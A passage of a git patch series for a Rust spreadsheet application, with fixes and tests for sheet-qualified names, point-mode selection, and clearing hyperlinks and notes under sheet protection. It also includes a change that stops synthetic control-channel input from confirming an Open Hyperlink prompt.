a/crates/calc/src/eval.rs b/crates/calc/src/eval.rs index 4972623fc..7a957f3a4 100644 --- a/crates/calc/src/eval.rs +++ b/crates/calc/src/eval.rs @@ -359,9 +359,10 @@ impl<'h> Evaluator<'h> { return v.clone(); } let wb = self.host.workbook(); - // Sheet-qualified `Sheet1!Name`. - let (scope_sheet, bare) = match n.split_once('!') { - Some((s, b)) => match wb.sheet_index(&gridcraft_core::unquote_sheet(s)) { + // Sheet-qualified `Sheet1!Name`. The parser stores the sheet unquoted, so it is used as + // is (`' Sales '` keeps its spaces) and split at the last `!` (`'a!b'!Name`). + let (scope_sheet, bare) = match n.rsplit_once('!') { + Some((s, b)) => match wb.sheet_index(s) { Some(i) => (i, b), None => return err(CellError::Name), }, diff --git a/crates/chart/src/tests.rs b/crates/chart/src/tests.rs index 5d5876af0..6e423802c 100644 --- a/crates/chart/src/tests.rs +++ b/crates/chart/src/tests.rs @@ -1294,3 +1294,39 @@ fn a_series_named_by_a_name_on_a_sheet_with_an_apostrophe_resolves() { let d = resolve(&wb, 0, &c); assert_eq!(d.series.first().map(|s| s.name.as_str()), Some("Takings")); } + +#[test] +fn a_series_named_by_a_name_on_a_sheet_with_a_bang_resolves() { + // `'a!b'!Title`: the sheet name holds a `!`, so the evaluator must split the parsed name at + // the last one, not the first. + let mut wb = Workbook::new(); + { + let s = wb.sheet_mut(0).unwrap(); + s.name = "a!b".into(); + s.set_value(CellRef::new(0, 0), Value::from("Takings")); + s.set_value(CellRef::new(1, 0), Value::Number(4.0)); + s.set_value(CellRef::new(2, 0), Value::Number(9.0)); + } + wb.names.push(gridcraft_model::DefinedName { + name: "Title".into(), + scope: Some(0), + formula: "'a!b'!$A$1".into(), + comment: String::new(), + hidden: false, + }); + let mut c = chart(ChartKind::ColumnClustered); + c.series = vec![Series { + name: Some("'a!b'!Title".into()), + categories: None, + values: "'a!b'!$A$2:$A$3".into(), + bubble_sizes: None, + color: None, + secondary: false, + kind: None, + quartiles: Default::default(), + smooth: false, + trendlines: Vec::new(), + }]; + let d = resolve(&wb, 0, &c); + assert_eq!(d.series.first().map(|s| s.name.as_str()), Some("Takings")); +} diff --git a/crates/xlsx/src/chart.rs b/crates/xlsx/src/chart.rs index c36420043..a408da5fa 100644 --- a/crates/xlsx/src/chart.rs +++ b/crates/xlsx/src/chart.rs @@ -366,13 +366,14 @@ fn is_ref(f: &str) -> bool { /// when it isn't a name, or names a sheet the workbook doesn't have. fn chart_name<'a>(wb: &'a Workbook, si: usize, f: &str) -> Option<(Option, String, Option<&'a DefinedName>)> { let Ok(Expr::Name(n)) = gridcraft_formula::parse(f.trim()) else { return None }; - // `'Bob''s'!Name`: the sheet is unquoted as everywhere else (#2012). - match gridcraft_core::split_sheet(&n) { - (Some(s), bare) => { - let i = wb.sheet_index(&s)?; + // The parser has already unquoted the sheet (`'Bob''s'!Name` → `Bob's!Name`, #2012): split + // at the last `!` (`'a!b'!Name`) and keep the name as is (`' Sales '` keeps its spaces). + match n.rsplit_once('!') { + Some((s, bare)) => { + let i = wb.sheet_index(s)?; Some((Some(i), bare.to_string(), wb.name(bare, i))) } - (None, _) => { + None => { let def = wb.name(&n, si); Some((None, n, def)) } diff --git a/crates/xlsx/src/tests/chart_book_names.rs b/crates/xlsx/src/tests/chart_book_names.rs index 14dc9d243..10edf45a4 100644 --- a/crates/xlsx/src/tests/chart_book_names.rs +++ b/crates/xlsx/src/tests/chart_book_names.rs @@ -139,3 +139,41 @@ fn chart_names_are_written_qualified() { let refs = |x: &str| x.split("").skip(1).filter_map(|p| p.split_once("").map(|(f, _)| f.to_string())).collect::>(); assert_eq!(refs(&again), refs(&xml)); } + +/// A quoted sheet name keeps its outer spaces: `' Sales '!Data` is not `Sales!Data`, so the +/// chart doesn't switch to the other sheet's name on save. +#[test] +fn chart_names_keep_spaces_around_a_quoted_sheet_name() { + let mut wb = Workbook::default(); + let mut s = Sheet::new("Sales"); + s.charts.push(Chart { + id: 1, + kind: ChartKind::BarStacked, + anchor: Anchor { cell: gridcraft_core::CellRef::new(0, 3), width: 480.0, height: 300.0, ..Anchor::default() }, + title: None, + series: vec![series("' Sales '!Label", "' Sales '!Data")], + legend: LegendPos::Bottom, + data_labels: false, + data_table: None, + gridlines: true, + style: 2, + x_title: None, + y_title: None, + source: None, + by_rows: false, + pivot: None, + }); + wb.sheets = vec![Arc::new(s), Arc::new(Sheet::new(" Sales "))]; + wb.names = vec![ + name("Items", None, "Sales!$A$2:$A$4"), + name("Data", Some(0), "Sales!$B$2:$B$4"), + name("Data", Some(1), "' Sales '!$B$2:$B$4"), + name("Label", Some(0), "Sales!$B$1"), + name("Label", Some(1), "' Sales '!$B$1"), + ]; + let bytes = write_xlsx(&wb).unwrap(); + let mut xml = String::new(); + zip::ZipArchive::new(std::io::Cursor::new(&bytes)).unwrap().by_name("xl/charts/chart1.xml").unwrap().read_to_string(&mut xml).unwrap(); + assert!(xml.contains("' Sales '!Data"), "{xml}"); + assert!(xml.contains("' Sales '!Label"), "{xml}"); +} From b3bce6cc815f39a6cadbc47a21a295762fa2b798 Mon Sep 17 00:00:00 2001 From: Daniele Mori Date: Tue, 3 Nov 2026 14:28:35 +0100 Subject: [PATCH 271/298] Point mode: Shift+arrow after a header drag moves the dragged end After a drag over C:E, point_cell held C and no anchor was set, so Shift+Right moved the wrong end and gave D:E. The drag now records the pointer's end as the moving one and the opposite corner as the anchor, so it gives C:F, and rows work the same way. Co-Authored-By: Claude Opus 5.5 --- crates/ui-egui/src/grid/interact.rs | 12 ++++-- .../ui-egui/tests/it/formula_point_headers.rs | 40 +++++++++++++++++++ 2 files changed, 48 insertions(+), 4 deletions(-) diff --git a/crates/ui-egui/src/grid/interact.rs b/crates/ui-egui/src/grid/interact.rs index 350aefd7a..88c69eefb 100644 --- a/crates/ui-egui/src/grid/interact.rs +++ b/crates/ui-egui/src/grid/interact.rs @@ -827,21 +827,25 @@ fn point_header_first_move(app: &mut SheetApp, input: &InteractionInput<'_>) { /// Point mode dragged over the headers: the pointed reference runs from the anchor to the pointer. fn point_header_to(app: &mut SheetApp, geo: &Geo, sh: &Sheet, wb: &Workbook, drag: &Drag, p: Pos2) { - let range = match *drag { + // The pointer's end moves with Shift+arrow next; the opposite corner keeps it a whole column or row. + let (range, pointer, opposite) = match *drag { Drag::PointCols(anchor) => { let col = geo.col_at(sh, p.x.clamp(geo.cells.left() + 1.0, geo.cells.right() - 1.0)); - RangeRef::cols(anchor.min(col), anchor.max(col)) + let range = RangeRef::cols(anchor.min(col), anchor.max(col)); + (range, CellRef::new(range.start.row, col), CellRef::new(range.end.row, anchor)) } Drag::PointRows(anchor) => { let row = geo.row_at(sh, p.y.clamp(geo.cells.top() + 1.0, geo.cells.bottom() - 1.0)); - RangeRef::rows(anchor.min(row), anchor.max(row)) + let range = RangeRef::rows(anchor.min(row), anchor.max(row)); + (range, CellRef::new(row, range.start.col), CellRef::new(anchor, range.end.col)) } _ => return, }; let Some(ed) = app.editor.as_mut().filter(|ed| ed.point_at_caret()) else { return }; let reference = header_reference(ed, wb, sh, range); ed.insert_ref(&reference); - ed.point_cell = Some(range.start); + ed.point_cell = Some(pointer); + ed.point_anchor = Some((wb.active_sheet(), opposite)); } fn select_to_pointer(app: &mut SheetApp, geo: &Geo, sh: &Sheet, wb: &Workbook, p: Pos2) { diff --git a/crates/ui-egui/tests/it/formula_point_headers.rs b/crates/ui-egui/tests/it/formula_point_headers.rs index 06d5b9308..97e60ae93 100644 --- a/crates/ui-egui/tests/it/formula_point_headers.rs +++ b/crates/ui-egui/tests/it/formula_point_headers.rs @@ -262,3 +262,43 @@ fn clicks_on_headers_replace_the_reference_after_a_drag_too() { click(&mut h, g); assert_eq!(text(&h), "=SUM(G:G"); } + +fn shift_arrow(h: &mut egui_kittest::Harness<'_, SheetApp>, key: egui::Key) { + let modifiers = Modifiers { shift: true, ..Modifiers::NONE }; + h.input_mut().events.push(Event::ModifiersChanged(modifiers)); + h.step(); + for pressed in [true, false] { + h.input_mut().events.push(Event::Key { key, physical_key: None, pressed, repeat: false, modifiers }); + h.step(); + } + h.input_mut().events.push(Event::ModifiersChanged(Modifiers::NONE)); + h.run_steps(2); +} + +#[test] +fn shift_arrow_after_a_header_drag_moves_the_dragged_end() { + let mut h = harness(); + let (c, e) = (header_center(&h, false, 2), header_center(&h, false, 4)); + press_and_drag(&mut h, c, e, Modifiers::NONE); + release(&mut h, e); + assert_eq!(text(&h), "=SUM(C:E"); + shift_arrow(&mut h, egui::Key::ArrowRight); + assert_eq!(text(&h), "=SUM(C:F"); + + // Dragged leftwards, the dragged end is the first column. + let mut h = harness(); + let (e, c) = (header_center(&h, false, 4), header_center(&h, false, 2)); + press_and_drag(&mut h, e, c, Modifiers::NONE); + release(&mut h, c); + assert_eq!(text(&h), "=SUM(C:E"); + shift_arrow(&mut h, egui::Key::ArrowLeft); + assert_eq!(text(&h), "=SUM(B:E"); + + let mut h = harness(); + let (r1, r3) = (header_center(&h, true, 0), header_center(&h, true, 2)); + press_and_drag(&mut h, r1, r3, Modifiers::NONE); + release(&mut h, r3); + assert_eq!(text(&h), "=SUM(1:3"); + shift_arrow(&mut h, egui::Key::ArrowDown); + assert_eq!(text(&h), "=SUM(1:4"); +} From ee6b9fdceedb09d262cf837dd1042b7395bddd16 Mon Sep 17 00:00:00 2001 From: Daniele Mori Date: Tue, 3 Nov 2026 14:31:35 +0100 Subject: [PATCH 272/298] Options: keep the active row's band visible on a faded page In Page Layout view the "Click to add data" pages are faded after their cells are painted, which all but hid the band on them. The band goes on again over the fade. Tests also cover Page Layout view and frozen panes. Co-Authored-By: Claude Opus 5.5 --- crates/ui-egui/src/paper_view.rs | 4 +++ .../ui-egui/tests/it/active_row_highlight.rs | 26 +++++++++++++++++++ 2 files changed, 30 insertions(+) diff --git a/crates/ui-egui/src/paper_view.rs b/crates/ui-egui/src/paper_view.rs index 114d1e8ca..9db376fbf 100644 --- a/crates/ui-egui/src/paper_view.rs +++ b/crates/ui-egui/src/paper_view.rs @@ -178,6 +178,10 @@ pub(crate) fn paint_pages(input: PagePaintInput<'_>, cf: &mut CfCache) -> Vec Date: Tue, 3 Nov 2026 14:48:29 +0100 Subject: [PATCH 273/298] Point mode: keep the sheet qualifier when pointing with the arrow keys point_move wrote a bare reference, so on another sheet Shift+arrow after a header drag turned 'Other sheet'!B:D into B:E, which reads as the formula's own sheet. Co-Authored-By: Claude Opus 5.5 --- crates/ui-egui/src/grid/interact.rs | 1 + crates/ui-egui/tests/it/formula_point_headers.rs | 16 ++++++++++++++++ 2 files changed, 17 insertions(+) diff --git a/crates/ui-egui/src/grid/interact.rs b/crates/ui-egui/src/grid/interact.rs index 88c69eefb..512042619 100644 --- a/crates/ui-egui/src/grid/interact.rs +++ b/crates/ui-egui/src/grid/interact.rs @@ -1096,6 +1096,7 @@ pub fn point_move(app: &mut SheetApp, ed: &mut EditState, dr: i64, dc: i64, exte to }; let text = if extend { RangeRef::new(anchor, to).a1() } else { to.a1() }; + let text = if ed.sheet != d.wb.active_sheet() { format!("{}!{text}", gridcraft_engine::formula::quote_sheet(&sheet.name)) } else { text }; let sheet = d.wb.active_sheet(); ed.insert_ref(&text); ed.point_cell = Some(to); diff --git a/crates/ui-egui/tests/it/formula_point_headers.rs b/crates/ui-egui/tests/it/formula_point_headers.rs index 97e60ae93..aeef72f7f 100644 --- a/crates/ui-egui/tests/it/formula_point_headers.rs +++ b/crates/ui-egui/tests/it/formula_point_headers.rs @@ -302,3 +302,19 @@ fn shift_arrow_after_a_header_drag_moves_the_dragged_end() { shift_arrow(&mut h, egui::Key::ArrowDown); assert_eq!(text(&h), "=SUM(1:4"); } + +#[test] +fn shift_arrow_pointing_on_another_sheet_keeps_the_qualifier() { + let mut h = harness(); + h.state_mut().session.execute("home.insertSheet", json!({"name": "Other sheet"})).unwrap(); + h.run_steps(2); + let (b, d) = (header_center(&h, false, 1), header_center(&h, false, 3)); + press_and_drag(&mut h, b, d, Modifiers::NONE); + release(&mut h, d); + assert_eq!(text(&h), "=SUM('Other sheet'!B:D"); + let app = h.state_mut(); + let mut ed = app.editor.take().unwrap(); + gridcraft_ui_egui::grid::point_move(app, &mut ed, 0, 1, true, false); + app.editor = Some(ed); + assert_eq!(text(&h), "=SUM('Other sheet'!B:E"); +} From 58e876a4d8fc7ccda8aff2c7c8cca31367f56684 Mon Sep 17 00:00:00 2001 From: Hector Villarreal Date: Tue, 3 Nov 2026 07:52:14 -0600 Subject: [PATCH 274/298] #2120: Remove Hyperlink clears links on cells with nothing stored Addresses review comment 4455436875: `clear` clipped each range to the sheet's used range (stored cells) before removing links and notes, so a link from a file on an empty cell outside it was left in place, and nothing was removed on a sheet with no cells. Notes and links are now cleared over the whole range; cells and merges still only within the used range. Test: engine tests::clear_hyperlinks_removes_links_on_cells_with_nothing_stored. Co-Authored-By: Claude Opus 5.5 --- crates/engine/src/cmd/edit.rs | 28 +++++++++++++--------------- crates/engine/src/tests.rs | 20 ++++++++++++++++++++ 2 files changed, 33 insertions(+), 15 deletions(-) diff --git a/crates/engine/src/cmd/edit.rs b/crates/engine/src/cmd/edit.rs index 2aa9d8fe3..9a74a2d9d 100644 --- a/crates/engine/src/cmd/edit.rs +++ b/crates/engine/src/cmd/edit.rs @@ -245,20 +245,16 @@ fn clear(s: &mut Session, p: &Json, what: &str) -> Result { }) }; edit(s, |cx| { - for r in &ranges { - let r = match cx.wb.sheet(sheet).and_then(|sh| sh.used_range()) { - Some(u) => match r.intersection(&u) { - Some(x) => x, - None => continue, - }, - None => continue, + for &whole in &ranges { + // Cells are only stored inside the used range. Notes and links are kept apart from + // them, so they are cleared over the whole range: one from a file can sit on a cell + // with nothing stored in it. + let used = cx.wb.sheet(sheet).and_then(|sh| sh.used_range()).and_then(|u| whole.intersection(&u)); + let skip = cx.wb.sheet(sheet).map(|sh| filtered_rows(sh, whole)).unwrap_or_default(); + let cells: Vec<(CellRef, Cell)> = match (cx.wb.sheet(sheet), used) { + (Some(sh), Some(r)) => sh.cells.iter_range(r).filter(|(c, _)| !skip.contains(&c.row)).map(|(c, x)| (c, x.clone())).collect(), + _ => Vec::new(), }; - let skip = cx.wb.sheet(sheet).map(|sh| filtered_rows(sh, r)).unwrap_or_default(); - let cells: Vec<(CellRef, Cell)> = cx - .wb - .sheet(sheet) - .map(|sh| sh.cells.iter_range(r).filter(|(c, _)| !skip.contains(&c.row)).map(|(c, x)| (c, x.clone())).collect()) - .unwrap_or_default(); // Report every stored cell we touch, even beyond a million coordinates in a sparse // selection. Removed formula anchors must also reach calc so their spills disappear. cx.changed.extend(cells.iter().map(|(c, _)| (sheet, *c))); @@ -294,14 +290,16 @@ fn clear(s: &mut Session, p: &Json, what: &str) -> Result { _ => {} } } - let cleared = |c: CellRef| r.contains(c) && !skip.contains(&c.row); + let cleared = |c: CellRef| whole.contains(c) && !skip.contains(&c.row); if matches!(what, "all" | "comments") { sh.comments.retain(|c, _| !cleared(*c)); } if matches!(what, "all" | "hyperlinks") { sh.hyperlinks.retain(|c, _| !cleared(*c)); } - if matches!(what, "all" | "formats") { + if let Some(r) = used + && matches!(what, "all" | "formats") + { let mut unmerged = false; sh.merges.retain(|m| { let keep = !r.contains_range(m) || skip.range(m.start.row..=m.end.row).next().is_some(); diff --git a/crates/engine/src/tests.rs b/crates/engine/src/tests.rs index 5f92718ba..272abffe2 100644 --- a/crates/engine/src/tests.rs +++ b/crates/engine/src/tests.rs @@ -5457,3 +5457,23 @@ fn a_view_kept_through_redo_doesnt_make_the_saved_workbook_dirty() { assert_eq!(d.wb.active().unwrap().view, gridcraft_model::SheetViewMode::PageBreakPreview); assert!(!d.is_dirty(), "back at the saved edits, the view alone isn't a change"); } + +/// A link from a file can sit on a cell with nothing stored in it, past the used range (or on a +/// sheet with no cells at all). Clear Hyperlinks, and Remove Hyperlink in the cell menu, must +/// still remove it. +#[test] +fn clear_hyperlinks_removes_links_on_cells_with_nothing_stored() { + let mut s = s(); + s.execute("cell.set", json!({"cell": "A1", "input": "x"})).unwrap(); + let link = || gridcraft_model::Hyperlink { target: "https://example.com".into(), tooltip: None, external: true }; + let (a1, c5) = (CellRef::parse("A1").unwrap(), CellRef::parse("C5").unwrap()); + std::sync::Arc::make_mut(&mut s.doc_mut().unwrap().wb).sheet_mut(0).unwrap().hyperlinks.insert(c5, link()); + s.execute("edit.clearHyperlinks", json!({"range": "C5"})).unwrap(); + assert!(!s.doc().unwrap().wb.active().unwrap().hyperlinks.contains_key(&c5), "the link past the used range is removed"); + + // No cells at all. + s.execute("edit.clearAll", json!({"range": "A1"})).unwrap(); + std::sync::Arc::make_mut(&mut s.doc_mut().unwrap().wb).sheet_mut(0).unwrap().hyperlinks.insert(a1, link()); + s.execute("edit.clearHyperlinks", json!({"range": "A1"})).unwrap(); + assert!(!s.doc().unwrap().wb.active().unwrap().hyperlinks.contains_key(&a1), "the link on an empty sheet is removed"); +} From dfb3b1224bd5710aa3d0dfcbb9af0a39233b2fca Mon Sep 17 00:00:00 2001 From: Hector Villarreal Date: Tue, 3 Nov 2026 08:08:07 -0600 Subject: [PATCH 275/298] #2120: clearing links and notes respects sheet protection Addresses review comment 4455670315: - Clear Hyperlinks and Clear Comments removed links and notes on locked cells of a protected sheet: protection compares stored cells only, so their removal went unseen (for stored cells too, and now for unstored ones since the whole range is cleared). `clear` now refuses a locked cell's note or link with locked_cell_error, which keeps Allow Edit Ranges and session-unlocked ranges. - A removed note or link on a cell with nothing stored wasn't added to the changed cells, so a recorded macro's footprint missed it. Tests: engine tests::clearing_links_and_notes_respects_sheet_protection, tests::clearing_links_and_notes_records_their_cells. Co-Authored-By: Claude Opus 5.5 --- crates/engine/src/cmd/edit.rs | 32 ++++++++++++++++++++++- crates/engine/src/tests.rs | 48 +++++++++++++++++++++++++++++++++++ 2 files changed, 79 insertions(+), 1 deletion(-) diff --git a/crates/engine/src/cmd/edit.rs b/crates/engine/src/cmd/edit.rs index 9a74a2d9d..0fd0a1c40 100644 --- a/crates/engine/src/cmd/edit.rs +++ b/crates/engine/src/cmd/edit.rs @@ -244,6 +244,25 @@ fn clear(s: &mut Session, p: &Json, what: &str) -> Result { }) }) }; + // Notes and links aren't cell contents, so the cell comparison that guards a protected sheet + // doesn't see them go: a locked cell's are refused here, stored cell or not. + if matches!(what, "all" | "comments" | "hyperlinks") { + let d = s.doc()?; + if let Some(sh) = d.wb.sheet(sheet).filter(|sh| sh.is_protected()) { + for &whole in &ranges { + let skip = filtered_rows(sh, whole); + let notes = matches!(what, "all" | "comments").then(|| sh.comments.keys()).into_iter().flatten(); + let links = matches!(what, "all" | "hyperlinks").then(|| sh.hyperlinks.keys()).into_iter().flatten(); + for &c in notes.chain(links).filter(|c| whole.contains(**c) && !skip.contains(&c.row)) { + if d.wb.styles.get(sh.style_id(c)).protection.locked + && let Some(m) = locked_cell_error(sh, c, &d.unlocked_ranges) + { + return Err(EngineError::Other(m)); + } + } + } + } + } edit(s, |cx| { for &whole in &ranges { // Cells are only stored inside the used range. Notes and links are kept apart from @@ -274,6 +293,18 @@ fn clear(s: &mut Session, p: &Json, what: &str) -> Result { } } } + let cleared = |c: CellRef| whole.contains(c) && !skip.contains(&c.row); + // A removed note or link changes its cell even with nothing stored there. + let metadata: Vec = cx + .wb + .sheet(sheet) + .map(|sh| { + let notes = matches!(what, "all" | "comments").then(|| sh.comments.keys()).into_iter().flatten(); + let links = matches!(what, "all" | "hyperlinks").then(|| sh.hyperlinks.keys()).into_iter().flatten(); + notes.chain(links).copied().filter(|c| cleared(*c)).collect() + }) + .unwrap_or_default(); + cx.changed.extend(metadata.into_iter().map(|c| (sheet, c))); let sh = cx.sheet_mut(sheet)?; for (c, mut cell) in cells { match what { @@ -290,7 +321,6 @@ fn clear(s: &mut Session, p: &Json, what: &str) -> Result { _ => {} } } - let cleared = |c: CellRef| whole.contains(c) && !skip.contains(&c.row); if matches!(what, "all" | "comments") { sh.comments.retain(|c, _| !cleared(*c)); } diff --git a/crates/engine/src/tests.rs b/crates/engine/src/tests.rs index 272abffe2..7c03d8c72 100644 --- a/crates/engine/src/tests.rs +++ b/crates/engine/src/tests.rs @@ -5477,3 +5477,51 @@ fn clear_hyperlinks_removes_links_on_cells_with_nothing_stored() { s.execute("edit.clearHyperlinks", json!({"range": "A1"})).unwrap(); assert!(!s.doc().unwrap().wb.active().unwrap().hyperlinks.contains_key(&a1), "the link on an empty sheet is removed"); } + +/// Notes and links aren't cell contents, so the cell comparison that guards a protected sheet +/// doesn't see them go: Clear Hyperlinks and Clear Comments refuse locked cells themselves, +/// stored or not. +#[test] +fn clearing_links_and_notes_respects_sheet_protection() { + let mut s = s(); + s.execute("cell.set", json!({"cell": "A1", "input": "x"})).unwrap(); + let link = || gridcraft_model::Hyperlink { target: "https://example.com".into(), tooltip: None, external: true }; + let (a1, c5) = (CellRef::parse("A1").unwrap(), CellRef::parse("C5").unwrap()); + { + let sh = std::sync::Arc::make_mut(&mut s.doc_mut().unwrap().wb).sheet_mut(0).unwrap(); + sh.hyperlinks.insert(a1, link()); + sh.hyperlinks.insert(c5, link()); + } + s.execute("review.newNote", json!({"cell": "C5", "text": "note", "author": "Example"})).unwrap(); + s.execute("review.protectSheet", json!({})).unwrap(); + for (cmd, range) in [("edit.clearHyperlinks", "A1"), ("edit.clearHyperlinks", "C5"), ("edit.clearComments", "C5")] { + assert!(s.execute(cmd, json!({"range": range})).is_err(), "{cmd} on locked {range}"); + } + let sh = s.doc().unwrap().wb.active().unwrap().clone(); + assert!(sh.hyperlinks.contains_key(&a1) && sh.hyperlinks.contains_key(&c5) && sh.comments.contains_key(&c5), "nothing removed"); + + s.execute("review.unprotectSheet", json!({})).unwrap(); + s.execute("edit.clearHyperlinks", json!({"range": "A1:C5"})).unwrap(); + s.execute("edit.clearComments", json!({"range": "C5"})).unwrap(); + let sh = s.doc().unwrap().wb.active().unwrap().clone(); + assert!(sh.hyperlinks.is_empty() && sh.comments.is_empty()); +} + +/// A removed link or note is a change to its cell even when nothing is stored there, so a +/// recorded macro's footprint lists it. +#[test] +fn clearing_links_and_notes_records_their_cells() { + let mut s = s(); + let c5 = CellRef::parse("C5").unwrap(); + std::sync::Arc::make_mut(&mut s.doc_mut().unwrap().wb) + .sheet_mut(0) + .unwrap() + .hyperlinks + .insert(c5, gridcraft_model::Hyperlink { target: "https://example.com".into(), tooltip: None, external: true }); + s.execute("review.newNote", json!({"cell": "D7", "text": "note", "author": "Example"})).unwrap(); + s.doc_mut().unwrap().touched = Some(Vec::new()); + s.execute("edit.clearHyperlinks", json!({"range": "C5"})).unwrap(); + s.execute("edit.clearComments", json!({"range": "D7"})).unwrap(); + let touched: Vec = s.doc().unwrap().touched.clone().unwrap_or_default().into_iter().map(|(_, c)| c.a1()).collect(); + assert!(touched.contains(&"C5".to_string()) && touched.contains(&"D7".to_string()), "{touched:?}"); +} From 72a9c5b47d744eb3dd92aa0cbf7c10bfd62db8de Mon Sep 17 00:00:00 2001 From: Hector Villarreal Date: Tue, 3 Nov 2026 08:21:50 -0600 Subject: [PATCH 276/298] #2120: test that clearing notes and links keeps Allow Edit Ranges Addresses the follow-up in review 5753664551: the protection test had no range exception, so a regression that refused locked notes and links inside an Allow Edit Range would have passed. The new test clears a link in a range without a password, is refused a note in a password range, then clears both once that range is unlocked. Test: engine tests::clearing_links_and_notes_keeps_allow_edit_ranges. Co-Authored-By: Claude Opus 5.5 --- crates/engine/src/tests.rs | 28 ++++++++++++++++++++++++++++ 1 file changed, 28 insertions(+) diff --git a/crates/engine/src/tests.rs b/crates/engine/src/tests.rs index 7c03d8c72..e1b8bace8 100644 --- a/crates/engine/src/tests.rs +++ b/crates/engine/src/tests.rs @@ -5525,3 +5525,31 @@ fn clearing_links_and_notes_records_their_cells() { let touched: Vec = s.doc().unwrap().touched.clone().unwrap_or_default().into_iter().map(|(_, c)| c.a1()).collect(); assert!(touched.contains(&"C5".to_string()) && touched.contains(&"D7".to_string()), "{touched:?}"); } + +/// The locked-cell check for notes and links keeps Allow Edit Ranges: a range without a password +/// allows them at once, one with a password once it's unlocked in this session. +#[test] +fn clearing_links_and_notes_keeps_allow_edit_ranges() { + let mut s = s(); + s.execute("cell.set", json!({"cell": "A1", "input": "x"})).unwrap(); + let link = || gridcraft_model::Hyperlink { target: "https://example.com".into(), tooltip: None, external: true }; + let (a1, c5) = (CellRef::parse("A1").unwrap(), CellRef::parse("C5").unwrap()); + { + let sh = std::sync::Arc::make_mut(&mut s.doc_mut().unwrap().wb).sheet_mut(0).unwrap(); + sh.hyperlinks.insert(a1, link()); + sh.hyperlinks.insert(c5, link()); + } + s.execute("review.newNote", json!({"cell": "C5", "text": "note", "author": "Example"})).unwrap(); + // Ranges are added before protecting: a protected sheet refuses `add`. + s.execute("review.allowEditRanges", json!({"action": "add", "title": "Open", "range": "A1"})).unwrap(); + s.execute("review.allowEditRanges", json!({"action": "add", "title": "Kept", "range": "C5", "password": "example"})).unwrap(); + s.execute("review.protectSheet", json!({})).unwrap(); + + s.execute("edit.clearHyperlinks", json!({"range": "A1"})).unwrap(); + assert!(s.execute("edit.clearComments", json!({"range": "C5"})).is_err(), "a password range stays locked until unlocked"); + s.execute("review.allowEditRanges", json!({"action": "unlock", "title": "Kept", "password": "example"})).unwrap(); + s.execute("edit.clearHyperlinks", json!({"range": "C5"})).unwrap(); + s.execute("edit.clearComments", json!({"range": "C5"})).unwrap(); + let sh = s.doc().unwrap().wb.active().unwrap().clone(); + assert!(sh.hyperlinks.is_empty() && sh.comments.is_empty()); +} From fe062f57a67e327d0b656c94bca86dc3c16e5706 Mon Sep 17 00:00:00 2001 From: Higgs32584 Date: Tue, 3 Nov 2026 09:48:20 -0500 Subject: [PATCH 277/298] Refuse synthetic control-channel input as OK in Open Hyperlink (#2181) A ui.key Enter or ui.click on OK reached egui as ordinary input and could confirm the openLink prompt. A pass that carries synthetic input now keeps the prompt open and opens nothing. Co-Authored-By: Claude Opus 5.5 --- crates/ui-egui/src/dialogs.rs | 24 ++++++++++++++++++++++++ crates/ui-egui/src/dialogs/show.rs | 23 ++++++++++++++++++++--- 2 files changed, 44 insertions(+), 3 deletions(-) diff --git a/crates/ui-egui/src/dialogs.rs b/crates/ui-egui/src/dialogs.rs index cbf21ddd9..0cbd66de7 100644 --- a/crates/ui-egui/src/dialogs.rs +++ b/crates/ui-egui/src/dialogs.rs @@ -1194,6 +1194,30 @@ mod tests { assert_eq!(opened.borrow().len(), 1); } + /// #2181: an OK that arrives with synthetic control-channel input (`ui.key` Enter, `ui.click` + /// on OK) opens nothing and keeps the prompt open; the same OK from the user opens the link. + #[test] + fn synthetic_input_cannot_confirm_open_hyperlink() { + use show::{SYNTHETIC_LINK_CONFIRM, confirm_open_link}; + use std::{cell::RefCell, rc::Rc}; + let opened = Rc::new(RefCell::new(Vec::::new())); + let sink = opened.clone(); + let services = crate::Services { open_url: Some(Box::new(move |u: &str| sink.borrow_mut().push(u.to_string()))), ..Default::default() }; + let mut session = gridcraft_engine::Session::default(); + session.new_workbook(); + let mut app = SheetApp::new(session, services); + let d = Dialog::open(&mut app, "openLink", json!({"url": "https://example.org/a"})).unwrap(); + + app.synthetic_pending = true; + assert!(!confirm_open_link(&mut app, &d), "the prompt stays open"); + assert!(opened.borrow().is_empty(), "synthetic input opens nothing"); + assert_eq!(app.message.as_ref().map(|m| m.1.as_str()), Some(SYNTHETIC_LINK_CONFIRM)); + + app.synthetic_pending = false; + app.message = None; + assert!(confirm_open_link(&mut app, &d), "the user's OK closes the prompt"); + assert_eq!(*opened.borrow(), vec!["https://example.org/a".to_string()]); + } #[test] fn data_validation_without_a_rule_opens_on_a_blank_list() { diff --git a/crates/ui-egui/src/dialogs/show.rs b/crates/ui-egui/src/dialogs/show.rs index 1aa013442..6dd5519c3 100644 --- a/crates/ui-egui/src/dialogs/show.rs +++ b/crates/ui-egui/src/dialogs/show.rs @@ -409,9 +409,8 @@ pub fn show(app: &mut SheetApp, ctx: &egui::Context) { } if confirm && d.name == "openLink" { confirm = false; - open = false; - if let Err(e) = open_confirmed_link(app, &d) { - app.message = Some((d.title.clone(), crate::clean_error(&e))); + if confirm_open_link(app, &d) { + open = false; } } if confirm && d.command.is_some() && home_sheet_deleted(app, &mut d) { @@ -492,6 +491,24 @@ pub fn show(app: &mut SheetApp, ctx: &egui::Context) { } } +/// OK in Open Hyperlink; returns whether the prompt closes. A pass that carries control-channel +/// input (`ui.key`, `ui.click`, `ui.drag`) can't say yes for the user (#2181): the link stays +/// unopened and the prompt open, with a message. Real input in that same pass is refused too, so +/// the user just presses OK again. +pub(super) fn confirm_open_link(app: &mut SheetApp, d: &Dialog) -> bool { + if app.synthetic_pending { + app.message = Some((d.title.clone(), SYNTHETIC_LINK_CONFIRM.into())); + return false; + } + if let Err(e) = open_confirmed_link(app, d) { + app.message = Some((d.title.clone(), crate::clean_error(&e))); + } + true +} + +/// Why Open Hyperlink ignored an OK that arrived with synthetic control-channel input. +pub(super) const SYNTHETIC_LINK_CONFIRM: &str = "Synthetic input from the control channel can't open a link: press OK yourself to open it."; + /// The user pressed OK in Open Hyperlink: opens the address the prompt showed (`d.link`), never /// one a caller edited into its values afterwards. pub(super) fn open_confirmed_link(app: &mut SheetApp, d: &Dialog) -> Result<(), String> { From 1a7fa68376a3f94632e958abe64360a478b4736f Mon Sep 17 00:00:00 2001 From: Hector Villarreal Date: Tue, 3 Nov 2026 08:52:05 -0600 Subject: [PATCH 278/298] #1246: an expanded formula bar leaves room for the worksheet Addresses review comment 4456174694: the drag/expand cap was half the window, so in a 400 pt window a ~195 pt bar left the grid about 1.6 pt under the status bar and sheet tabs. The cap is now also limited by the room left under the ribbon, keeping the status bar, 